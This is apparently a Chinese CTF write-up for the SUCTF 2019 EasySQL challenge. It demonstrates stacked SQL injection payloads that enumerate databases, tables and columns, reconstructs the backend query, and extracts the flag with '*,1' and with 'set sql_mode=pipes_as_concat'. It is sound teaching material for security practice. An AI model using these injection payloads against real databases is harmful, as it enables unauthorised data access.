Skip to content

Latest commit

 

History

History
61 lines (37 loc) · 1.48 KB

[SUCTF 2019]EasySQL.md

File metadata and controls

61 lines (37 loc) · 1.48 KB

[SUCTF 2019]EasySQL

知识点

堆叠注入

sql_mode管道符

解题

堆叠注入试试

1;show databases;-- -
1;show tables;-- -
1;show columns from `Flag`;-- - # 最后两个
1;desc Flag;-- -

原查询语句猜测

根据回显猜测代码里的SQL语句

回显用的是var_dump函数,当查询语句为纯数字的时候才回显。

数据库的特性,当select后面是数字的时候,即使查询的字段没有也不会报错,当查询的带有英文字母的时候,就会产生报错,所以初步判断查询的内容应该不是以往那种SQL注入的题目在where后面

而这里的就是在select后面的 ,试一下查询1,2,3,4,5

image-20231109232431928

猜想正确,注意到原本查询唯独末尾的5变为了1,猜测是用到了管道符| ||之类的),导致5回显失败,这里先试试看查询

*,1

直接得到了flag,算是个非预期解

php代码中的SQL语句应该是

$sql = "select ".$_POST[query]."|| xxx from Flag" ;

预期解

这时候我们可以利用数据库的语句,更改||的意思,把它改为连接符,这样的话,不管输入啥都会查询到flag这个字段,构建payload

1;set sql_mode=pipes_as_concat;select 1

这样的话SQL语句就变成了

select 1;set sql_mode=pipes_as_concat;select 1 || flag from Flag